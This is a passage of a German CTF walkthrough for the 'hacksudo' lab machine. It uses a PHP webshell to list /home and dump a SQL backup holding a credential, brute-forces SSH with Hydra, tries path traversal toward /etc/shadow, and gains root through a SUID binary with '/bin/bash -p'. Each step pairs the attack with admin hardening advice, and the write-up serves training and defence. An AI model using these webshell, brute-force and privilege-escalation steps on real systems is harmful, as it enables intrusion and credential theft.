**Empfehlung (Admin):** Behandeln Sie jede RCE als kritischen Sicherheitsvorfall. Isolieren Sie das betroffene System, analysieren Sie die Ursache (hier: CMS-Schwachstelle/Upload-Filter-Umgehung), beheben Sie die Schwachstelle und überprüfen Sie das System auf weitere Kompromittierungen oder Hintertüren. Setzen Sie Passwörter zurück und stellen Sie Systeme gegebenenfalls aus einem sauberen Backup wieder her.
----------------------------------------------------------------------------------------------------
view-source:http://hacksudo.hmv/cms/uploads/cmsmsrce.phtml?cmd=ls%20-la%20/home
total 24
drwxr-xr-x 6 root root 4096 May 8 2021 .
drwxr-xr-x 20 root root 4096 May 9 2021 ..
drwxr-xr-x 3 root root 4096 May 7 2021 backups
drwxr-xr-x 2 root root 4096 May 8 2021 fogDBbackups
drwxr-x--- 4 1001 1001 4096 May 6 2021 fogproject
drwxr-x--- 5 isro isro 4096 May 13 2021 isro
**Analyse:** Hier wird die RCE genutzt, um den Inhalt des `/home`-Verzeichnisses aufzulisten (`ls -la /home`). Der Befehl wird wieder über den `cmd`-Parameter der Webshell ausgeführt, und das Ergebnis wird im Quellcode der Seite angezeigt (`view-source:`). Die Ausgabe zeigt mehrere Verzeichnisse: `backups`, `fogDBbackups`, `fogproject` und `isro`. Die Berechtigungen (`drwxr-x---`) und Besitzer (`1001`, `isro`) deuten darauf hin, dass `fogproject` und `isro` Home-Verzeichnisse für Benutzer sind, während `backups` und `fogDBbackups` möglicherweise systemweite Backup-Verzeichnisse sind, die aber hier unter `/home` liegen.
**Bewertung:** Dies liefert wichtige Informationen über Benutzer auf dem System (`fogproject` mit UID 1001, `isro` mit dem Benutzernamen `isro`). Der Benutzer `isro` ist besonders interessant, da er im FTP-Backup-Verzeichnisnamen (`hacksudo_ISRO_bak`) vorkam. Die Verzeichnisse `backups` und `fogDBbackups` könnten ebenfalls sensible Daten enthalten. Der `www-data`-Benutzer kann diese Verzeichnisse auflisten, hat aber aufgrund der Berechtigungen (`rwxr-x---`) wahrscheinlich keinen Zugriff auf den Inhalt von `fogproject` und `isro`.
**Empfehlung (Pentester):**
1. Versuchen Sie, den Inhalt der Verzeichnisse `backups` und `fogDBbackups` aufzulisten, da diese möglicherweise für `www-data` lesbar sind.
2. Notieren Sie sich die Benutzernamen `fogproject` und `isro`.
3. Suchen Sie nach weiteren Orten, an denen Konfigurationsdateien oder Passwörter gespeichert sein könnten (z.B. `/var/www`, `/etc`, Datenbanken).
**Empfehlung (Admin):**
1. Stellen Sie sicher, dass die Berechtigungen für Home-Verzeichnisse korrekt gesetzt sind (typischerweise `700` oder `750`), um unbefugten Zugriff zu verhindern.
2. Speichern Sie Backups an sicheren Orten mit geeigneten Zugriffsbeschränkungen, nicht unbedingt unter `/home`.
----------------------------------------------------------------------------------------------------
view-source:http://hacksudo.hmv/cms/uploads/cmsmsrce.phtml?cmd=ls%20/home/isro/ben.txt
view-source:http://hacksudo.hmv/cms/uploads/cmsmsrce.phtml?cmd=cat%20/home/fogDBbackups/fog_sql_1.5.9_20210508_120942.sql
-- mysqldump-php https://github.com/ifsnop/mysqldump-php
--
-- Host: localhost Database: fog
-- ------------------------------------------------------
INSERT INTO `taskTypes` VALUES (1,'Deploy','Deploy action will send an image saved on the FOG server............
.....
.....
','aTHlJz6Fr8gU]ZCLKr1L','FOG Storage Nodes');
**Analyse:** Der Pentester führt zwei weitere Befehle über die RCE aus: 1. `ls /home/isro/ben.txt`: Versucht, eine Datei namens `ben.txt` im Home-Verzeichnis des Benutzers `isro` aufzulisten. Die Ausgabe dieses Befehls wird nicht gezeigt, was darauf hindeuten könnte, dass die Datei nicht existiert oder der Zugriff verweigert wurde (wahrscheinlicher aufgrund der Berechtigungen von `/home/isro`). Der Dateiname `ben.txt` könnte ein Hinweis auf den Namen des Berichtserstellers sein (Ben Chehade). 2. `cat /home/fogDBbackups/fog_sql_1.5.9_20210508_120942.sql`: Versucht, den Inhalt einer SQL-Dump-Datei aus dem Verzeichnis `fogDBbackups` anzuzeigen. Dieser Befehl ist erfolgreich, und die Ausgabe zeigt den Anfang eines SQL-Dumps der `fog`-Datenbank. Wichtig ist hier ein anscheinend hartcodiertes Passwort oder ein API-Schlüssel: `aTHlJz6Fr8gU]ZCLKr1L` im Kontext von `FOG Storage Nodes`.
**Bewertung:** Das Auslesen des SQL-Dumps war ein großer Erfolg. SQL-Dumps enthalten oft sensible Informationen, einschließlich Konfigurationen, Benutzernamen und manchmal auch Passwörter oder Hashes. Das gefundene Passwort/Token `aTHlJz6Fr8gU]ZCLKr1L` ist ein kritischer Fund und könnte für den Zugriff auf die FOG-Anwendung oder andere Dienste wiederverwendet werden. Die Tatsache, dass `www-data` diese Datei lesen konnte, deutet auf unsichere Berechtigungen im Backup-Verzeichnis hin.
**Empfehlung (Pentester):**
1. Analysieren Sie den gesamten SQL-Dump sorgfältig auf weitere Passwörter, Hashes oder sensible Daten.
2. Versuchen Sie, das gefundene Passwort `aTHlJz6Fr8gU]ZCLKr1L` für den Benutzer `fog` (aus der Caesar-Verschlüsselung) oder `fogproject` (aus `ls /home`) bei der FOG-Weboberfläche oder anderen Diensten (z.B. SSH) zu verwenden.
3. Versuchen Sie das Passwort auch für den Benutzer `isro` bei SSH.
**Empfehlung (Admin):**
1. Setzen Sie korrekte, restriktive Berechtigungen für Backup-Verzeichnisse und -Dateien. `www-data` sollte keinen Zugriff auf Datenbank-Dumps haben.
2. Bereinigen (sanitisieren) Sie Datenbank-Dumps vor der Speicherung oder stellen Sie sicher, dass keine Klartext-Passwörter enthalten sind. Verwenden Sie stattdessen Konfigurationsmanagement-Tools zur Verwaltung von Geheimnissen.
3. Vermeiden Sie hartcodierte Passwörter oder Tokens in Datenbankeinträgen oder Code.
Nachdem wir durch die RCE via Webserver Zugriff auf sensible Informationen (SQL-Dump mit Passwort) erlangt haben, versuchen wir nun, diesen Fund zu nutzen, um uns als regulärer Benutzer am System anzumelden (laterale Bewegung) und anschließend unsere Rechte auf Root-Ebene zu erhöhen (Privilege Escalation). Wir testen das gefundene Passwort aus dem SQL-Dump für den Benutzer `isro` via SSH.
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-05-27 02:42:11
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.2.114:22/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[22][ssh] host: 192.168.2.114 login: isro password: qwerty
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1 of 1 target successfully completed, 1 valid password found
**Analyse:** Dieser Befehl verwendet Hydra, um einen Brute-Force-Angriff gegen den SSH-Dienst (Port 22) auf dem Zielserver durchzuführen. * `-l isro`: Zielt auf den Benutzer `isro` ab, der zuvor identifiziert wurde. * `-P /usr/share/wordlists/rockyou.txt`: Verwendet die `rockyou.txt`-Wortliste für Passwörter. Interessanterweise wird hier nicht das Passwort aus dem SQL-Dump (`aTHlJz6Fr8gU]ZCLKr1L`) direkt versucht, sondern eine große Wortliste. Dies könnte ein alternativer Ansatz sein oder der Pentester hat das Passwort aus dem Dump übersehen oder wollte zuerst einen allgemeinen Brute-Force versuchen. * `192.168.2.114 ssh`: Gibt das Ziel und den Dienst (SSH) an. Hydra war erfolgreich und fand das Passwort `qwerty` für den Benutzer `isro`. Die Warnungen weisen auf mögliche Performance-Probleme bei zu vielen parallelen SSH-Tasks und auf eine existierende Restore-Datei hin.
**Bewertung:** Erneuter Erfolg durch Brute-Force! Ein weiteres extrem schwaches Passwort (`qwerty`) wurde für einen Benutzer (`isro`) gefunden, diesmal für den SSH-Zugang. Dies gewährt uns eine interaktive Shell auf dem System als Benutzer `isro`. Das Passwort aus dem SQL-Dump war hier offenbar nicht das SSH-Passwort für `isro`.
**Empfehlung (Pentester):**
1. Melden Sie sich mit den Zugangsdaten `isro`:`qwerty` per SSH am Zielsystem an.
2. Führen Sie eine gründliche Enumeration als Benutzer `isro` durch (z.B. `sudo -l`, SUID-Dateien, Cronjobs, Kernel-Version, laufende Prozesse, Netzwerkkonfiguration).
**Empfehlung (Admin):**
1. Ändern Sie sofort das Passwort für den Benutzer `isro`.
2. Setzen Sie eine strenge Passwortrichtlinie durch und verbieten Sie extrem schwache Passwörter wie `qwerty`.
3. Implementieren Sie `fail2ban` oder ähnliche Tools, um SSH-Brute-Force-Angriffe zu blockieren.
4. Erwägen Sie die Verwendung von schlüsselbasierter Authentifizierung für SSH anstelle von Passwörtern.
The authenticity of host '192.168.2.114 (192.168.2.114)' can't be established.
ED25519 key fingerprint is SHA256:FfPfu4QjjjHuWE3UZ3+9fKmCs9MSH7JibTk2QXKelwc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.114' (ED25519) to the list of known hosts.
isro@192.168.2.114's password:
Linux hacksudo 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu May 13 07:25:51 2021 from 192.168.43.217
isro@hacksudo:~$
**Analyse:** Der Befehl `ssh isro@192.168.2.114` initiiert eine SSH-Verbindung zum Zielserver als Benutzer `isro`. Da die Verbindung zum ersten Mal hergestellt wird, fragt SSH nach der Bestätigung des Host-Schlüssels (`yes`). Anschließend wird das Passwort (`qwerty`, nicht angezeigt) eingegeben. Die Anmeldung ist erfolgreich, und der Angreifer erhält eine Shell-Eingabeaufforderung (`isro@hacksudo:~$`) auf dem Zielsystem. Das angezeigte Banner bestätigt das Betriebssystem (Debian 4.19) und zeigt den Zeitpunkt des letzten Logins an.
**Bewertung:** Initial Access über SSH war erfolgreich. Wir haben nun eine interaktive Shell als Benutzer `isro`. Dies ist ein entscheidender Punkt, von dem aus wir nach Möglichkeiten zur Privilegieneskalation suchen können.
**Empfehlung (Pentester):** Beginnen Sie sofort mit der lokalen Enumeration auf dem Zielsystem als Benutzer `isro`. Ein guter erster Schritt ist `sudo -l`, um zu sehen, welche Befehle `isro` möglicherweise mit Root-Rechten ausführen darf.
**Empfehlung (Admin):** Überwachen Sie SSH-Logins auf ungewöhnliche Aktivitäten oder Anmeldungen von unbekannten Quell-IPs. Überprüfen Sie regelmäßig die `authorized_keys`-Dateien und Benutzerpasswörter.
The authenticity of host '192.168.2.114 (192.168.2.114)' can't be established.
ED25519 key fingerprint is SHA256:FfPfu4QjjjHuWE3UZ3+9fKmCs9MSH7JibTk2QXKelwc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.114' (ED25519) to the list of known hosts.
isro@192.168.2.114's password:
Linux hacksudo 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu May 13 07:25:51 2021 from 192.168.43.217
isro@hacksudo:~$
**Analyse:** Dieser Block ist eine exakte Wiederholung des vorherigen SSH-Login-Blocks. Es wird erneut versucht, sich per SSH anzumelden, was wieder erfolgreich ist.
**Bewertung:** Die Wiederholung liefert keine neuen technischen Erkenntnisse, wird aber gemäß den Anweisungen im Bericht belassen. Es könnte darauf hindeuten, dass der Pentester die Verbindung verloren hat und sich erneut anmelden musste, oder es ist ein Kopierfehler im ursprünglichen Log.
**Empfehlung (Pentester):** Fahren Sie mit der Enumeration fort, wie nach dem ersten erfolgreichen Login empfohlen. Vermeiden Sie unnötige Wiederholungen in zukünftigen Logs, wenn möglich.
**Empfehlung (Admin):** Achten Sie auf mehrfache, kurz aufeinanderfolgende Logins desselben Benutzers von derselben Quelle, was auf Skripting oder wiederholte manuelle Versuche hindeuten könnte.
[sudo] password for isro:
Matching Defaults entries for isro on hacksudo:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User isro may run the following commands on hacksudo:
(root) /usr/bin/ls /home/isro/*
**Analyse:** Der Befehl `sudo -l` wird auf dem Zielsystem als Benutzer `isro` ausgeführt. Dieser Befehl listet die Befehle auf, die der aktuelle Benutzer mit `sudo` (also potenziell mit den Rechten anderer Benutzer, typischerweise `root`) ausführen darf, gemäß der Konfiguration in `/etc/sudoers`. Nach Eingabe des Passworts für `isro` (`qwerty`) zeigt die Ausgabe, dass `isro` den Befehl `/usr/bin/ls` mit Root-Rechten (`(root)`) ausführen darf, aber *nur* auf Dateien, die dem Muster `/home/isro/*` entsprechen (also Dateien direkt im Home-Verzeichnis von `isro`).
**Bewertung:** Dies ist eine sehr spezifische und eingeschränkte `sudo`-Regel. Sie erlaubt `isro` nicht, beliebige Befehle als Root auszuführen. Die Möglichkeit, `ls` als Root auf das eigene Home-Verzeichnis anzuwenden, erscheint auf den ersten Blick nicht nützlich für eine Privilegieneskalation. Es ist jedoch wichtig, nach Wegen zu suchen, wie auch eingeschränkte `sudo`-Rechte missbraucht werden können, z.B. durch Pfadmanipulation oder Ausnutzung von Eigenheiten des erlaubten Befehls. In diesem Fall ist `ls` jedoch relativ harmlos.
**Empfehlung (Pentester):**
1. Diese `sudo`-Regel scheint kein direkter Weg zur Root-Shell zu sein.
2. Suchen Sie nach anderen Vektoren für die Privilegieneskalation: SUID/GUID-Binaries, falsch konfigurierte Cronjobs, Kernel-Exploits (obwohl der Kernel 4.19 relativ aktuell ist), ausnutzbare Dienste, die als Root laufen, sensible Daten in Konfigurationsdateien, auf die `isro` Zugriff hat.
**Empfehlung (Admin):**
1. Überprüfen Sie `sudo`-Regeln sorgfältig und gewähren Sie nur die absolut notwendigen Berechtigungen (Prinzip der geringsten Rechte).
2. Seien Sie vorsichtig bei der Verwendung von Wildcards (`*`) in `sudo`-Regeln, auch wenn sie hier harmlos erscheinen.
3. Vermeiden Sie es, Benutzern `sudo`-Rechte für einfache Befehle wie `ls` zu geben, wenn es nicht zwingend erforderlich ist.
total 32
drwxr-x--- 5 isro isro 4096 May 13 2021 .
drwxr-xr-x 6 root root 4096 May 8 2021 ..
-rw-r--r-- 1 isro isro 0 May 5 2021 .bash_logout
-rw-r--r-- 1 isro isro 4623 May 13 2021 .bashrc
drwxr-xr-x 2 isro isro 4096 May 13 2021 fog
drwx------ 3 isro isro 4096 May 5 2021 .gnupg
drwxr-xr-x 3 isro isro 4096 May 5 2021 .local
-rw-r--r-- 1 isro isro 0 May 5 2021 .profile
-r-------- 1 isro isro 33 May 6 2021 user.txt
**Analyse:** Der Befehl `ls -la` wird im Home-Verzeichnis des Benutzers `isro` ausgeführt. Er listet alle Dateien und Verzeichnisse (auch versteckte, die mit einem Punkt beginnen) im langen Format auf, inklusive Berechtigungen, Besitzer, Größe und Änderungsdatum. Die Ausgabe zeigt typische Konfigurationsdateien (`.bash_logout`, `.bashrc`, `.profile`), Verzeichnisse (`fog`, `.gnupg`, `.local`) und eine Datei namens `user.txt`. Die Berechtigungen für `user.txt` sind `-r--------`, was bedeutet, dass nur der Besitzer (`isro`) Leserechte hat.
**Bewertung:** Das wichtigste Ergebnis hier ist die Datei `user.txt`. In CTF-Umgebungen enthält diese Datei normalerweise die Benutzer-Flagge. Die Berechtigungen sind korrekt gesetzt, sodass nur `isro` sie lesen kann. Das Verzeichnis `fog` könnte ebenfalls interessant sein.
**Empfehlung (Pentester):**
1. Lesen Sie den Inhalt von `user.txt`, um die Benutzer-Flagge zu erhalten.
2. Untersuchen Sie den Inhalt des `fog`-Verzeichnisses.
**Empfehlung (Admin):** Stellen Sie sicher, dass die Berechtigungen für sensible Dateien in Benutzerverzeichnissen korrekt gesetzt sind. In einer Produktionsumgebung sollten keine "Flag"-Dateien existieren.
8b64d2451b7a8f3fd17390f88ea35917
**Analyse:** Der Befehl `cat user.txt` zeigt den Inhalt der Datei `user.txt` an. Die Ausgabe ist die Zeichenkette `8b64d2451b7a8f3fd17390f88ea35917`.
**Bewertung:** Erfolg! Dies ist die Benutzer-Flagge für diese CTF-Box. Der erste Teil des Ziels (Initial Access und User Flag) ist erreicht.
**Empfehlung (Pentester):** Dokumentieren Sie die Benutzer-Flagge. Konzentrieren Sie sich nun vollständig auf die Privilegieneskalation, um Root-Zugriff und die Root-Flagge zu erhalten.
**Empfehlung (Admin):** Keine Flaggen in Produktionssystemen.
**Analyse:** Hier versucht der Pentester offenbar, die eingeschränkte `sudo`-Regel auszunutzen. Der Befehl `sudo -u root /usr/bin/ls /home/isro/../../etc/shadow` zielt darauf ab, `ls` als Root auszuführen. Durch die Pfadnavigation (`/home/isro/../..`) wird versucht, aus dem erlaubten Pfad (`/home/isro/*`) auszubrechen und die Datei `/etc/shadow` aufzulisten. Das `^C` am Ende deutet darauf hin, dass der Befehl abgebrochen wurde, bevor er ausgeführt wurde oder fehlschlug. Wahrscheinlich hätte `sudo` diesen Pfad sowieso nicht erlaubt, da er nicht dem Muster `/home/isro/*` entspricht.
**Bewertung:** Ein kreativer, aber letztlich erfolgloser Versuch, die `sudo`-Regel zu umgehen. Dies bestätigt, dass dieser `sudo`-Eintrag wahrscheinlich keine direkte Schwachstelle darstellt.
**Empfehlung (Pentester):** Verwerfen Sie die `sudo`-Regel als primären Eskalationsvektor und konzentrieren Sie sich auf andere Methoden wie SUID-Binaries.
**Empfehlung (Admin):** Seien Sie sich bewusst, dass Benutzer versuchen könnten, Pfadnavigation (`../`) zu verwenden, um Einschränkungen in `sudo`-Regeln zu umgehen. Definieren Sie Pfade so spezifisch wie möglich.
10582 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
135600 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
10687 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
20640 116 -rwsr-xr-x 1 root root 114784 Jun 24 2020 /usr/sbin/mount.nfs
55 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
3910 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
13944 156 -rwsr-xr-x 1 root root 157192 Jan 20 2021 /usr/bin/sudo
52 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
5443 12 -rwsr-xr-x 1 root root 10744 May 4 2018 /usr/bin/look
3908 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
53 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
3436 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
3583 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
56 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
**Analyse:** Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht im gesamten Dateisystem (`/`) nach Dateien (`-type f`), die das SUID-Bit gesetzt haben (`-perm -4000`). Das SUID-Bit (`s` statt `x` in den Berechtigungen, z.B. `-rwsr-xr-x`) bewirkt, dass die Datei immer mit den Rechten des Dateibesitzers (hier meist `root`) ausgeführt wird, unabhängig davon, welcher Benutzer sie startet. * `-ls`: Zeigt die gefundenen Dateien im `ls -l`-Format an. * `2>/dev/null`: Leitet Fehlermeldungen (z.B. "Permission denied" beim Durchsuchen von Verzeichnissen, auf die `isro` keinen Zugriff hat) nach `/dev/null`, um die Ausgabe sauber zu halten. Die Ausgabe listet mehrere Standard-SUID-Binaries auf, die unter Linux üblich sind (z.B. `passwd`, `su`, `sudo`, `mount`, `umount`). Es sind keine ungewöhnlichen oder offensichtlich selbst erstellten SUID-Dateien zu sehen.
**Bewertung:** Auf den ersten Blick scheint die Liste der SUID-Binaries keine einfachen Angriffsvektoren zu bieten. Standard-Binaries sind normalerweise gut gesichert. Allerdings können auch Standard-Binaries manchmal für Privilegieneskalation missbraucht werden, wenn sie in Kombination mit anderen Fehlkonfigurationen oder in bestimmten Versionen mit bekannten Schwachstellen auftreten (siehe GTFOBins). Der nächste Schritt wäre, die nicht-standardmäßigen Verzeichnisse zu untersuchen, die `isro` gehören oder auf die er Zugriff hat.
**Empfehlung (Pentester):**
1. Überprüfen Sie die gefundenen SUID-Binaries auf bekannte Exploits oder Missbrauchstechniken (z.B. auf GTFOBins.github.io).
2. Da die Standard-SUID-Suche nichts Offensichtliches ergab, untersuchen Sie die Dateien und Verzeichnisse im Home-Verzeichnis von `isro` genauer, insbesondere das `fog`-Verzeichnis, das bei `ls -la` gesehen wurde.
**Empfehlung (Admin):**
1. Entfernen Sie das SUID-Bit von Binaries, wo es nicht absolut notwendig ist.
2. Halten Sie das System und alle installierten Pakete auf dem neuesten Stand, um bekannte Schwachstellen in SUID-Binaries zu vermeiden.
3. Überwachen Sie das Dateisystem auf neu erstellte oder unerwartete SUID/GUID-Dateien.
Privilege Escalation
**Analyse:** Eine einfache Textnotiz, die den Beginn oder die Fortsetzung des Abschnitts zur Privilegieneskalation markiert.
**Bewertung:** Rein organisatorische Notiz im ursprünglichen Log.
**Empfehlung (Pentester/Admin):** Keine technischen Empfehlungen.
total 3700
drwxr-xr-x 2 isro isro 4096 May 13 2021 .
drwxr-x--- 6 isro isro 4096 May 26 20:44 ..
-rwxr-xr-x 1 root isro 16712 May 12 2021 fog
-rw-r--r-- 1 isro isro 0 May 6 2021 get
-rwxr-xr-x 1 isro isro 69368 May 6 2021 ping
-rwxr-xr-x 1 isro isro 3689352 May 6 2021 python
**Analyse:** Der Pentester wechselt vom vorherigen Verzeichnis (`/var/www/html`, obwohl dies nicht explizit gezeigt wurde, aber wahrscheinlich der Ort war, von dem aus `sudo -l` etc. ausgeführt wurde) in das Home-Verzeichnis (`cd ~`) und dann in das Unterverzeichnis `fog` (`cd fog/`). Der Befehl `ls -la` listet den Inhalt dieses Verzeichnisses auf. Es enthält vier interessante Dateien: * `fog`: Eine ausführbare Datei (`-rwxr-xr-x`), die `root` gehört, aber zur Gruppe `isro` gehört. `isro` hat Ausführrechte. * `get`: Eine leere Datei. * `ping`: Eine ausführbare Datei. * `python`: Eine große ausführbare Datei (möglicherweise eine Kopie des Python-Interpreters?). Die Datei `fog` ist besonders verdächtig, da sie `root` gehört und im `isro` Home-Verzeichnis liegt.
**Bewertung:** Das Vorhandensein einer Root-eigenen, aber für `isro` ausführbaren Datei (`fog`) in dessen Home-Verzeichnis ist ein starker Indikator für einen potenziellen Privilegieneskalationsvektor. Wenn diese Datei Operationen ausführt, die für eine Eskalation missbraucht werden können (z.B. andere Befehle aufrufen, Umgebungsvariablen unsicher verwenden), könnte dies der Weg zu Root sein. Die anderen Dateien (`ping`, `python`) sind ebenfalls ungewöhnlich und könnten modifiziert oder Teil des Exploits sein.
**Empfehlung (Pentester):**
1. Untersuchen Sie die Datei `fog` genauer:
* Führen Sie `file fog` aus, um den Dateityp zu bestimmen.
* Führen Sie `strings fog` aus, um nach lesbaren Zeichenketten (Hinweise auf Funktionalität, aufgerufene Befehle, Bibliotheken) zu suchen.
* Versuchen Sie, die Datei auszuführen (`./fog`) und beobachten Sie das Verhalten.
* Analysieren Sie sie gegebenenfalls mit Reverse-Engineering-Tools (z.B. Ghidra, IDA).
2. Untersuchen Sie auch `ping` und `python` auf ähnliche Weise.
**Empfehlung (Admin):**
1. Platzieren Sie keine Root-eigenen ausführbaren Dateien in Benutzer-Home-Verzeichnissen, es sei denn, es ist absolut notwendig und sicher implementiert.
2. Überprüfen Sie regelmäßig Berechtigungen und Besitzverhältnisse von Dateien, insbesondere in Home-Verzeichnissen.
3. Vermeiden Sie es, Kopien von Systembinaries (wie `ping` oder `python`) in Home-Verzeichnissen abzulegen, da diese manipuliert oder für Angriffe missbraucht werden könnten.
/lib64/ld-linux-x86-64.so.2
setuid
system
__cxa_finalize
setgid
__libc_start_main
libc.so.6
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
;*3$"
GCC: (Debian 8.3.0-6) 8.3.0
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got
.got.plt
.data
.bss
.comment
crtstuff.c
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
completed.7697
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
fog.c
__FRAME_END__
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
setgid
puts
__libc_start_main
__gmon_start__
_ITM_registerTMCloneTable
system
__libc_csu_init
setuid
__cxa_finalize
_fini
_init
**Analyse:** Der Befehl `strings fog` extrahiert lesbare Zeichenketten aus der Binärdatei `fog`. Die Ausgabe zeigt mehrere interessante Strings: * `/lib64/ld-linux-x86-64.so.2`, `libc.so.6`, `GLIBC_2.2.5`: Standard-Bibliotheksreferenzen. * `setuid`: Ein Funktionsaufruf, der die User ID des aufrufenden Prozesses setzt. Wenn dies `setuid(0)` ist, versucht das Programm, Root-Rechte zu erlangen. * `setgid`: Ähnlich wie `setuid`, aber für die Gruppen-ID. * `system`: Ein sehr gefährlicher Funktionsaufruf, der einen String als Befehl an die System-Shell (`/bin/sh`) übergibt und ausführt. * `GCC: (Debian 8.3.0-6) 8.3.0`: Compiler-Information. * `fog.c`: Möglicherweise der Name der Quelldatei. Die Kombination aus `setuid` (wahrscheinlich `setuid(0)` in der Implementierung, da die Datei Root gehört) und `system` ist ein klassisches Muster für eine unsichere SUID-Binary. Wenn der an `system()` übergebene Befehl manipuliert werden kann (z.B. durch Umgebungsvariablen wie `PATH` oder weil er relative Pfade verwendet), kann dies zur Ausführung beliebiger Befehle als Root führen.
**Bewertung:** Dies ist der entscheidende Hinweis für die Privilegieneskalation. Die `fog`-Binary ruft wahrscheinlich `setuid(0)` auf, um Root zu werden, und führt dann einen Befehl über `system()` aus. Wenn wir kontrollieren können, *welcher* Befehl von `system()` ausgeführt wird, können wir Root-Rechte erlangen. Eine häufige Schwachstelle ist, wenn `system()` einen Befehl ohne absoluten Pfad aufruft (z.B. `system("python script.py")` statt `system("/usr/bin/python script.py")`). Wenn wir dann unsere eigene ausführbare Datei namens `python` in einem Verzeichnis erstellen, das in der `PATH`-Umgebungsvariable *vor* `/usr/bin` steht, wird unsere Datei anstelle des echten Pythons ausgeführt – und das mit Root-Rechten. Die Anwesenheit der lokalen `python`-Datei im selben Verzeichnis verstärkt diesen Verdacht.
**Empfehlung (Pentester):**
1. Führen Sie die Datei `./fog` aus.
2. Wenn sie einen Fehler im Zusammenhang mit `python` wirft oder eine Python-Shell öffnet, bestätigt dies die Vermutung.
3. Wenn die lokale `python`-Datei ausgeführt wird, ersetzen Sie diese durch ein Skript, das eine Root-Shell öffnet (z.B. `#!/bin/bash\n/bin/bash -p`). Stellen Sie sicher, dass die lokale `python`-Datei ausführbar ist (`chmod +x python`).
4. Führen Sie `./fog` erneut aus.
**Empfehlung (Admin):**
1. Entwickeln Sie SUID-Programme äußerst sorgfältig.
2. Rufen Sie *niemals* externe Befehle über Funktionen wie `system()` oder `popen()` aus SUID-Programmen auf, wenn Benutzereingaben oder Umgebungsvariablen den aufgerufenen Befehl beeinflussen können.
3. Verwenden Sie immer absolute Pfade für externe Befehle (z.B. `/usr/bin/python` statt `python`).
4. Setzen Sie die `PATH`-Umgebungsvariable innerhalb des SUID-Programms auf einen sicheren, bekannten Wert, bevor externe Befehle aufgerufen werden.
5. Entfernen Sie unnötige SUID-Binaries.
Basierend auf der Analyse der `fog`-Binary mit `strings`, die auf die Verwendung von `setuid` und `system` hindeutet, und dem Vorhandensein einer lokalen `python`-Datei, versuchen wir nun, diese Schwachstelle auszunutzen, um Root-Rechte zu erlangen. Dies dient als Proof of Concept für die Privilegieneskalation.
Python 2.7.16 (default, Oct 10 2019, 22:02:15)
[GCC 8.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system("/bin/bash -p")
uid=0(root) gid=1003(isro) groups=1003(isro)
